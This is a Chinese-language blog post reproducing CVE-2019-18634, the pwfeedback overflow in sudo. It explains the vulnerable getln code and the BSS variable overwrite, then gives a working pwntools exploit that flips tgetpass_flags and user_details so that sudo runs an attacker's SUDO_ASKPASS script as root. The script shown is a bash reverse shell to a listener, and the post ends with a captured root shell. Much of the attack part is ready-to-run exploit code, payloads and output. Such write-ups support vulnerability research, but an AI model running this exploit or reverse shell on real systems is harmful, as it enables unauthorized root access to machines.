CVE-2019-18634 复现
January 29, 2021 CVE复现 访问: 68 次
gdb中进行管道符输入
gdb> run -S id < payload.bin
漏洞成因
漏洞点在getln
函数
tgetpass.c:308
static char *
getln(int fd, char *buf, size_t bufsiz, int feedback)
{
size_t left = bufsiz;
ssize_t nr = -1;
char *cp = buf;
char c = '\0';
debug_decl(getln, SUDO_DEBUG_CONV)
if (left == 0) {
errno = EINVAL;
debug_return_str(NULL); /* sanity */
}
while (--left) {
nr = read(fd, &c, 1);
if (nr != 1 || c == '\n' || c == '\r')
break;
if (feedback) {
if (c == sudo_term_kill) {//sudo_term_kill=\x15
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
} else if (c == sudo_term_erase) {
if (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
left++;
}
continue;
}
ignore_result(write(fd, "*", 1));
}
*cp++ = c;
}
*cp = '\0';
if (feedback) {
/* erase stars */
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
}
debug_return_str_masked(nr == 1 ? buf : NULL);
}
bufsiz
是255,没输入以为left
就会减一,left
是剩下可以输入的长度
如果开启feedback
,就会进入到if语句里面,这里会判断我们输入的字符是否与sudo_term_kill
和sudo_term_erase
相等,当我们通过管道符进行输入的时候,sudo_term_kill
和sudo_term_erase
都是\x00
,当我们输入\x00
的时候就会进入到if (c == sudo_term_kill)
,可以看到会向fd里面输出\b \b
,但是管道符是不能够进行输入的,所以这里永远返回-1
,然后就会把left
赋值成bufsiz
,但是cp指针并没有回退到buf的起起始,就导致下次输入的时候还是从上次输入的地方进行填充,这里我们可以伪造我们的payload
为('a'*200+"\x00")*0x100
,当填充到一个内存页边界的时候,就会触发段错误
if (feedback) {
if (c == sudo_term_kill) {//sudo_term_kill=\x15
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
} else if (c == sudo_term_erase) {
if (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
left++;
}
continue;
}
ignore_result(write(fd, "*", 1));
}
payload 测试:
cve@ubuntu:~$ python -c "print ('a'*200+'\x00')*0x100" | sudo -S id
密码:段错误 (核心已转储)
gdb里面来详细看一下是在哪里出现段错误
但是这种方式我们利用的是时候不能在内存上写入\x00
字符,所以要用第二种方法来进行漏洞利用
https://man7.org/linux/man-pages/man3/termios.3.html
通过socak
来创建一个pty
来进行输入
socat pty,link=/tmp/pty,waitslave exec:"python -c 'print((chr(97)*100+chr(0x15))*50)'" &
调试的时候看term
结构体的内容,可以发现sudo_term_kill
和sudo_term_erase
都是\x15
,通过这种方法就可以输入进\x00
字节
pwndbg> p term
$3 = {
c_iflag = 1280,
c_oflag = 5,
c_cflag = 191,
c_lflag = 2609,
c_line = 0 '\000',
c_cc = "\003\034\177\025\004\000\001\000\021\023\032\000\022\017\027\026", '\000' <repeats 15 times>,
c_ispeed = 15,
c_ospeed = 15
}
漏洞利用
BSS溢出可以导致变量覆盖
在IDA里面看BSS段上内存分布,可以看到我们可以通过溢出buf_6188
来覆盖到的变量有askpass_6187、signo、tgetpass_flags、user_details_0
等
.bss:00000000002218E0 buf_6188 db 100h dup(?) ; DATA XREF: tgetpass+412↑o
.bss:00000000002219E0 ; Function-local static variable
.bss:00000000002219E0 ; const char *askpass_6187
.bss:00000000002219E0 askpass_6187 dq ? ; DATA XREF: tgetpass+5D↑r
.bss:00000000002219E0 ; tgetpass+81↑r ...
.bss:00000000002219E8 align 20h
.bss:0000000000221A00 ; volatile sig_atomic_t signo[65]
.bss:0000000000221A00 signo dd 41h dup(?) ; DATA XREF: tgetpass_handler+5↑o
.bss:0000000000221A00 ; tgetpass+1EA↑o
.bss:0000000000221B04 public tgetpass_flags
.bss:0000000000221B04 ; int tgetpass_flags
.bss:0000000000221B04 tgetpass_flags dd ? ; DATA XREF: sudo_conversation+5F↑r
.bss:0000000000221B04 ; parse_args:loc_11D90↑w ...
.bss:0000000000221B08 align 20h
.bss:0000000000221B20 public user_details_0
.bss:0000000000221B20 ; user_details user_details_0
.bss:0000000000221B20 user_details_0 user_details <?> ; DATA XREF: get_user_info+41↑o
.bss:0000000000221B20 ; get_user_info+77↑w ...
.bss:0000000000221B88 public list_user
.bss:0000000000221B88 ; const char *list_user
.bss:0000000000221B88 list_user dq ? ; DATA XREF: main+87F↑r
.bss:0000000000221B88 ; parse_args:loc_11DD8↑w ...
利用的时候需要配合sudo
一个已有的功能:-A
参数
-A, --askpass 使用助手程序进行密码提示
- 环境变量
SUDO_ASKPASS
指定外部程序地址 sudo
运行加上-A
选项,程序里面会设置TGP_ASKPASS
标识fork
出一个子进程来运行外部程序,父进程接收子进程的输出作为密码
代码:tgetpass.c
这里验证了askpass
,如果不为空的话就会设置TGP_ASKPASS
if (askpass == NULL || getenv_unhooked("DISPLAY") == NULL) {
sudo_warnx(U_("no tty present and no askpass program specified"));
debug_return_str(NULL);
}
SET(flags, TGP_ASKPASS);
}
之后验证是否是-A
选项就是通过TGP_ASKPASS
来进行判断的,判断成功之后就会调用sudo_askpass
函数来执行外部程序
if (ISSET(flags, TGP_ASKPASS)) {
if (askpass == NULL || *askpass == '\0')
sudo_fatalx(U_("no askpass program specified, try setting SUDO_ASKPASS"));
debug_return_str_masked(sudo_askpass(askpass, prompt));
}
在sudo_askpass
函数中,关键代码如下:
会把user_details.gid
和ser_details.uid
的值设置成执行外部程序的权限,而这两个值我们可以通过BSS溢出来进行覆盖成我们想要的值,比如说都覆盖成0,该有就是sudo
是带有S权限的,所以setuid(0)
是允许的,进而成功获取到root
权限
if (setgid(user_details.gid)) {
sudo_warn(U_("unable to set gid to %u"), (unsigned int)user_details.gid);
_exit(255);
}
if (setuid(user_details.uid)) {
sudo_warn(U_("unable to set uid to %u"), (unsigned int)user_details.uid);
_exit(255);
}
closefrom(STDERR_FILENO + 1);
execl(askpass, askpass, prompt, (char *)NULL);
sudo_warn(U_("unable to run %s"), askpass);
_exit(255);
我们该把TGP_ASKPASS
覆盖成多少呢?
TGP_ASKPASS
的定义在sudo.h
中,我们可以设置成4、4|1、4|2、4|8、4|0x10
,懂得都懂。
/*
* Flags for tgetpass()
*/
#define TGP_NOECHO 0x00 /* turn echo off reading pw (default) */
#define TGP_ECHO 0x01 /* leave echo on when reading passwd */
#define TGP_STDIN 0x02 /* read from stdin, not /dev/tty */
#define TGP_ASKPASS 0x04 /* read from askpass helper program */
#define TGP_MASK 0x08 /* mask user input when reading */
#define TGP_NOECHO_TRY 0x10 /* turn off echo if possible */
漏洞利用流程
- 设置环境变量
SUDO_ASKPASS=/home/cve/aa.sh
,但是这里不设置-A
参数 - 第一次输入通过BSS段溢出修改
user_details
结构体相关内容和TGP_ASKPASS
- 在第二次输入的时候就会执行我们指定的脚本了
exp
import sys,os
from pwn import *
TARGET=os.path.realpath("/usr/local/bin/sudo")
mfd, sfd = os.openpty()
fd = os.open(os.ttyname(sfd), os.O_RDONLY)
p = process([TARGET,"-S", "id"],stdin=fd,env={'SUDO_ASKPASS':'/home/cve/aa.sh'})
payload = '\x00\x15'*548+p64(4)+'\x00\x15'*20+p64(0)*2+p32(0)+'\x00'*3
payload = "\x00"*200+'\x15'+"\x00"*200+'\x15'+"\x00"*148+'\x15'+p32(4)+"\x00"*0x30
os.write(mfd, payload+"\n")
pause()
攻击效果:
cve@ubuntu:~$ cat aa.sh
#!/bin/bash
bash -i >& /dev/tcp/10.211.55.17/8888 0>&1
cve@ubuntu:~$ python exp.py
[+] Starting local process '/usr/local/bin/sudo': pid 27648
[*] Paused (press any to continue)
[root@centos-linux ~]# nc -lvvp 8888
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 10.211.55.9.
Ncat: Connection from 10.211.55.9:37634.
root@ubuntu:/home/cve# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/cve#